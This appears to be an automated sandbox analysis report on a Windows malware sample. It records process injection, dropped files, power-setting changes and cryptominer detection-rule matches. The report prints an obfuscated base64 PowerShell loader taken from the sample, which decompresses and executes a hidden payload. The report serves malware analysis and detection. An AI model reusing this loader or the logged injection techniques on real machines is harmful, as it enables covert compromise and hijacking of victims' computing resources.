Source: Process Memory Space: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe PID: 612, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: dialer.exe PID: 7780, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown

Uses powercfg.exe to modify the power settings

Source: C:\Windows\SysWOW64\system64x.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Source: C:\Windows\SysWOW64\system64x.exe	Code function: 3_2_00007FF762441394 NtCloseObjectAuditAlarm,	3_2_00007FF762441394
Source: C:\Windows\System32\dialer.exe	Code function: 17_2_00000001400010C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,FindCloseChangeNotification,CloseHandle,	17_2_00000001400010C0
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000001E8589828C8 NtEnumerateValueKey,NtEnumerateValueKey,	22_2_000001E8589828C8
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000140AE86202C NtQuerySystemInformation,StrCmpNIW,	31_2_00000140AE86202C
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000140AE86253C NtQueryDirectoryFileEx,GetFileType,StrCpyW,	31_2_00000140AE86253C
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000001160CA928C8 NtEnumerateValueKey,NtEnumerateValueKey,	33_2_000001160CA928C8
Source: C:\Windows\System32\dialer.exe	Code function: 44_2_00000001400010C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,FindCloseChangeNotification,CloseHandle,	44_2_00000001400010C0
Source: C:\Windows\System32\dialer.exe	Code function: 45_2_0000000140001394 NtFlushVirtualMemory,	45_2_0000000140001394
Source: C:\Windows\System32\wbem\WMIADAP.exe	Code function: 53_2_0000028708E6202C NtQuerySystemInformation,StrCmpNIW,	53_2_0000028708E6202C
Source: C:\Windows\System32\wbem\WMIADAP.exe	Code function: 53_2_0000028708E6253C NtQueryDirectoryFileEx,GetFileType,StrCpyW,	53_2_0000028708E6253C

Source: C:\ProgramData\Google\Chrome\updater.exe

File created: C:\Windows\TEMP\voeeoiqrjnla.sys

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	File created: C:\Windows\SysWOW64\system64x.exe	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	File created: C:\Windows\system32\wbem\Performance\WmiApRpl_new.h
Source: C:\Windows\System32\wbem\WMIADAP.exe	File created: C:\Windows\system32\wbem\Performance\WmiApRpl_new.ini

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_mkmwtu32.fhp.ps1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Code function: 1_2_00007FF848AD09B2	1_2_00007FF848AD09B2
Source: C:\Windows\SysWOW64\system64x.exe	Code function: 3_2_00007FF762443F70	3_2_00007FF762443F70
Source: C:\Windows\System32\dialer.exe	Code function: 17_2_000000014000226C	17_2_000000014000226C
Source: C:\Windows\System32\dialer.exe	Code function: 17_2_00000001400014D8	17_2_00000001400014D8
Source: C:\Windows\System32\dialer.exe	Code function: 17_2_0000000140002560	17_2_0000000140002560
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000001E858951F2C	22_2_000001E858951F2C
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000001E8589638A8	22_2_000001E8589638A8
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000001E85895D0E0	22_2_000001E85895D0E0
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000001E858982B2C	22_2_000001E858982B2C
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000001E8589944A8	22_2_000001E8589944A8
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000001E85898DCE0	22_2_000001E85898DCE0
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000001E8589B1F2C	22_2_000001E8589B1F2C
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000001E8589C38A8	22_2_000001E8589C38A8
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000001E8589BD0E0	22_2_000001E8589BD0E0
Source: C:\ProgramData\Google\Chrome\updater.exe	Code function: 28_2_00007FF72AF23F70	28_2_00007FF72AF23F70
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000140ADFC1F2C	31_2_00000140ADFC1F2C
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000140ADFCD0E0	31_2_00000140ADFCD0E0
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000140ADFD38A8	31_2_00000140ADFD38A8
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000140AE86DCE0	31_2_00000140AE86DCE0
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000140AE8744A8	31_2_00000140AE8744A8
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000140AE862B2C	31_2_00000140AE862B2C
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_00000195DD59D0E0	32_2_00000195DD59D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_00000195DD5A38A8	32_2_00000195DD5A38A8
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_00000195DD591F2C	32_2_00000195DD591F2C
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_00000195DD5CDCE0	32_2_00000195DD5CDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_00000195DD5D44A8	32_2_00000195DD5D44A8
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_00000195DD5C2B2C	32_2_00000195DD5C2B2C
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000001160CA61F2C	33_2_000001160CA61F2C
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000001160CA6D0E0	33_2_000001160CA6D0E0
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000001160CA738A8	33_2_000001160CA738A8
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000001160CA92B2C	33_2_000001160CA92B2C
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000001160CA9DCE0	33_2_000001160CA9DCE0
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000001160CAA44A8	33_2_000001160CAA44A8
Source: C:\Windows\System32\dialer.exe	Code function: 44_2_000000014000226C	44_2_000000014000226C
Source: C:\Windows\System32\dialer.exe	Code function: 44_2_00000001400014D8	44_2_00000001400014D8
Source: C:\Windows\System32\dialer.exe	Code function: 44_2_0000000140002560	44_2_0000000140002560
Source: C:\Windows\System32\dialer.exe	Code function: 45_2_0000000140003160	45_2_0000000140003160
Source: C:\Windows\System32\dialer.exe	Code function: 45_2_00000001400026E0	45_2_00000001400026E0
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_00000257E10838A8	48_2_00000257E10838A8
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_00000257E107D0E0	48_2_00000257E107D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_00000257E1071F2C	48_2_00000257E1071F2C
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_00000257E10B44A8	48_2_00000257E10B44A8
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_00000257E10ADCE0	48_2_00000257E10ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_00000257E10A2B2C	48_2_00000257E10A2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001F28C1E38A8	49_2_000001F28C1E38A8
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001F28C1DD0E0	49_2_000001F28C1DD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001F28C1D1F2C	49_2_000001F28C1D1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001F28C9444A8	49_2_000001F28C9444A8
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001F28C93DCE0	49_2_000001F28C93DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001F28C932B2C	49_2_000001F28C932B2C
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_000001CA97FD1F2C	50_2_000001CA97FD1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_000001CA97FDD0E0	50_2_000001CA97FDD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_000001CA97FE38A8	50_2_000001CA97FE38A8
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_000001CA98542B2C	50_2_000001CA98542B2C
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_000001CA9854DCE0	50_2_000001CA9854DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_000001CA985544A8	50_2_000001CA985544A8
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_000001D2652F38A8	51_2_000001D2652F38A8
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_000001D2652ED0E0	51_2_000001D2652ED0E0
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_000001D2652E1F2C	51_2_000001D2652E1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_000001D2653244A8	51_2_000001D2653244A8
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_000001D26531DCE0	51_2_000001D26531DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_000001D26532AEC2	51_2_000001D26532AEC2
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_000001D265312B2C	51_2_000001D265312B2C
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_00000254A27D2B2C	52_2_00000254A27D2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_00000254A27E44A8	52_2_00000254A27E44A8
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_00000254A27DDCE0	52_2_00000254A27DDCE0
Source: C:\Windows\System32\wbem\WMIADAP.exe	Code function: 53_2_0000028708E31F2C	53_2_0000028708E31F2C
Source: C:\Windows\System32\wbem\WMIADAP.exe	Code function: 53_2_0000028708E3D0E0	53_2_0000028708E3D0E0
Source: C:\Windows\System32\wbem\WMIADAP.exe	Code function: 53_2_0000028708E438A8	53_2_0000028708E438A8
Source: C:\Windows\System32\wbem\WMIADAP.exe	Code function: 53_2_0000028708E62B2C	53_2_0000028708E62B2C
Source: C:\Windows\System32\wbem\WMIADAP.exe	Code function: 53_2_0000028708E6DCE0	53_2_0000028708E6DCE0
Source: C:\Windows\System32\wbem\WMIADAP.exe	Code function: 53_2_0000028708E744A8	53_2_0000028708E744A8
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_0000024B87DDDCE0	54_2_0000024B87DDDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_0000024B87DE44A8	54_2_0000024B87DE44A8
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_0000024B87DD2B2C	54_2_0000024B87DD2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00000205FB3CD0E0	55_2_00000205FB3CD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00000205FB3D38A8	55_2_00000205FB3D38A8
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00000205FB3C1F2C	55_2_00000205FB3C1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00000205FD402B2C	55_2_00000205FD402B2C
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00000205FD4144A8	55_2_00000205FD4144A8
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00000205FD40DCE0	55_2_00000205FD40DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000001A2056A2B2C	56_2_000001A2056A2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000001A2056ADCE0	56_2_000001A2056ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000001A2056B44A8	56_2_000001A2056B44A8
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_0000018EC1F3D0E0	57_2_0000018EC1F3D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_0000018EC1F438A8	57_2_0000018EC1F438A8
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_0000018EC1F31F2C	57_2_0000018EC1F31F2C
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_0000018EC1F6DCE0	57_2_0000018EC1F6DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_0000018EC1F744A8	57_2_0000018EC1F744A8
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_0000018EC1F62B2C	57_2_0000018EC1F62B2C
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_0000025CE3BCD0E0	58_2_0000025CE3BCD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_0000025CE3BD38A8	58_2_0000025CE3BD38A8
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_0000025CE3BC1F2C	58_2_0000025CE3BC1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_0000025CE3E0DCE0	58_2_0000025CE3E0DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_0000025CE3E144A8	58_2_0000025CE3E144A8
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_0000025CE3E02B2C	58_2_0000025CE3E02B2C

Source: Joe Sandbox View

Dropped File: C:\Windows\Temp\voeeoiqrjnla.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5

Source: C:\ProgramData\Google\Chrome\updater.exe	Code function: String function: 00007FF72AF21394 appears 34 times
Source: C:\Windows\SysWOW64\system64x.exe	Code function: String function: 00007FF762441394 appears 34 times

Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000000.2235289313.00000000003EC000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilename1Document.exe4 vs SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe
Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.00000000026B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe
Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.0000000002725000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 47.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 47.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 47.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 0000002F.00000002.3586212031.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: Process Memory Space: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe PID: 612, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: dialer.exe PID: 7780, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25

Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, MainApp.cs

Base64 encoded string: 'JHB3c2hjb2RlID0gJ0pBQkVBR1VBWXdCdkFHUUFaUUJrQUNBQVBRQWdBRnNBVXdCNUFITUFkQUJsQUcwQUxnQkRBRzhBYmdCMkFHVUFjZ0IwQUYwQU9nQTZBRVlBY2dCdkFHMEFRZ0JoQUhNQVpRQTJBRFFBVXdCMEFISUFhUUJ1QUdjQUtBQWlBRWdBTkFCekFFa0FRUUJCQUVFQVFRQkJBRUVBUVFCRkFFRUFTUUJYQUZFQVRRQlhBQzhBUXdCTkFFSUFRd0JHQUM4QU9BQnZBSEFBVVFCeEFFc0FWZ0J0QUd3QWFBQk9BRVFBUVFCTkFFa0FWZ0JTQUZnQVVRQnlBRmtBUXdCVkFFa0FVUUIwQUV3QVJRQndBRGdBVkFCU0FEUUFOUUJPQURjQVdRQnpBRTBBTHdBM0FEWUFSd0J2QUZjQWNRQnVBRlFBYmdCbUFGTUFaUUFyQUM4QU1BQXpBRmdBY3dCWUFFa0FkZ0F5QURnQWJnQkNBSGdBU3dCa0FFY0FhQUJoQUdnQVNBQlNBQzhBWWdCbUFGZ0Fhd0JzQUZRQVZ3QnVBRzBBYmdCd0FFa0FkQUJ4QUhRQWVnQkJBSEVBVmdCSEFIWUFSUUJFQUhFQVdRQlJBRVVBUVFCekFEVUFUd0I2QUc0QVZRQlFBSFlBWmdBMkFGVUFNZ0JOQUVNQUt3QldBRklBYXdCUUFEWUFkQUJ5QUZjQVJ3QnNBRW9BYkFCM0FIWUFid0JhQUZvQVlRQkxBRTRBZVFCM0FFb0FRUUJsQUcwQWR3QkdBR0lBWndCMkFFd0FiUUJEQUdNQVpnQnpBR2NBU2dCU0FGWUFNZ0JIQUhrQU1RQnBBRzhBYlFCSUFFd0FaQUIyQUZvQVdRQk1BRk1BZEFCNEFGVUFaUUE0QURnQWNBQlVBREFBVWdCQ0FHVUFMd0JaQUhFQWVBQlVBREVBUlFBNUFFNEFNUUIwQUhFQVVnQTFBR01BVndCeUFIa0FTUUIyQURrQVlnQnNBR1VBU1FCbkFFVUFUQUJ0QUVJQVdnQmpBRU1BVVFBMUFEUUFXQUE1QUhvQU1RQTRBRk1BVWdCYUFGRUFZd0IxQUVvQVJnQktBRFlBVUFCREFFOEFPUUExQUVvQWJBQlBBRVVBS3dCbkFIVUFlUUIzQUZJQU1RQnlBREFBTXdCMEFFZ0Fad0JDQUhBQVVRQXJBRk1BVGdCYUFHOEFNZ0EzQUVNQWVBQldBRzhBWWdBMUFFSUFPUUJMQUZNQVdBQjZBRThBT0FBMEFIQUFkUUJ5QUhjQU5BQmlBR01BYUFCTkFHNEFUQUEwQUM4QVRnQkxBRWNBVndCSEFFUUFVQUF3QUdZQWRRQTJBR3dBWndCMEFDc0FaZ0J0QUZBQVR3QXpBR3dBWlFCUkFEQUFiUUF4QUc4QWVnQlJBRElBTUFCekFGb0FRd0JKQUV3QU13QnFBQzhBTHdCVUFESUFWQUF2QUc4QVlnQnNBR0lBYXdBeUFFWUFNd0J6QUVJQVFRQkJBRUVBUFFBaUFDa0FPd0FrQUcwQWN3QWdBRDBBSUFBb0FFNEFaUUIzQUMwQVR3QmlBR29BWlFCakFIUUFJQUJUQUhrQWN3QjBBR1VBYlFBdUFFa0FUd0F1QUUwQVpRQnRBRzhBY2dCNUFGTUFkQUJ5QUdVQVlRQnRBQ2dBSkFCRUFHVUFZd0J2QUdRQVpRQmtBQ3dBTUFBc0FDUUFSQUJsQUdNQWJ3QmtBR1VBWkFBdUFFd0FaUUJ1QUdjQWRBQm9BQ2tBS1FBN0FHa0FaUUI0QUNnQVRnQmxBSGNBTFFCUEFHSUFhZ0JsQUdNQWRBQWdBRk1BZVFCekFIUUFaUUJ0QUM0QVNRQlBBQzRBVXdCMEFISUFaUUJoQUcwQVVnQmxBR0VBWkFCbEFISUFLQUJPQUdVQWR3QXRBRThBWWdCcUFHVUFZd0IwQUNBQVV3QjVBSE1BZEFCbEFHMEFMZ0JKQUU4QUxnQkRBRzhBYlFCd0FISUFaUUJ6QUhNQWFRQnZBRzRBTGdCSEFGb0FhUUJ3QUZNQWRBQnlBR1VBWVFCdEFDZ0FKQUJ0QUhNQUxBQWdBRnNBVXdCNUFITUFkQUJsQUcwQUxnQkpBRThBTGdCREFHOEFiUUJ3QUhJQVpRQnpBSE1BYVFCdkFHNEFMZ0JEQUc4QWJRQndBSElBWlFCekFITUFhUUJ2QUc0QVRRQnZBR1FBWlFCZEFEb0FPZ0JFQUdVQVl3QnZBRzBBY0FCeUFHVUFjd0J6QUNrQUtRQXBBQzRBY2dCbEFHRUFaQUIwQUc4QVpRQnVBR1FBS0FBcEFBPT0nDQokcHdzaGRlY29kZWQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldFN0cmluZyhbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCIkcHdzaGNvZGUiKSkNCkludm9rZS1FeHByZXNzaW9uICRwd3NoZGVjb2RlZA=='

Source: classification engine

Classification label: mal100.adwa.spyw.evad.mine.winEXE@65/86@4/4

Source: C:\Windows\System32\dialer.exe	Code function: 17_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,FindResourceA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,		17_2_000000014000226C
Source: C:\Windows\System32\dialer.exe	Code function: 44_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,FindResourceA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,		44_2_000000014000226C

Source: C:\Windows\System32\dialer.exe

Code function: 17_2_00000001400019C4 SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,

17_2_00000001400019C4

Source: C:\Windows\System32\dialer.exe

Code function: 17_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,FindResourceA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,

17_2_000000014000226C

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2460:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7388:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7604:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7248:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2292:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7560:120:WilError_03
Source: C:\Windows\System32\dialer.exe	Mutant created: \BaseNamedObjects\Global\cwzyhcjpggltbmjx
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5656:120:WilError_03
Source: C:\Windows\System32\wbem\WMIADAP.exe	Mutant created: \BaseNamedObjects\Global\RefreshRA_Mutex
Source: C:\Windows\System32\wbem\WMIADAP.exe	Mutant created: \BaseNamedObjects\Global\RefreshRA_Mutex_Flag
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1896:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7660:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7576:120:WilError_03
Source: C:\Windows\System32\wbem\WMIADAP.exe	Mutant created: \BaseNamedObjects\Global\ADAP_WMI_ENTRY
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6436:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7632:120:WilError_03
Source: C:\Windows\System32\wbem\WMIADAP.exe	Mutant created: \BaseNamedObjects\Global\RefreshRA_Mutex_Lib
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7304:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5564:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7312:120:WilError_03

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r5hfiz3n.jvw.ps1

Jump to behavior

Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\system64x.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

ReversingLabs: Detection: 47%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe:Zone.Identifier

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe"
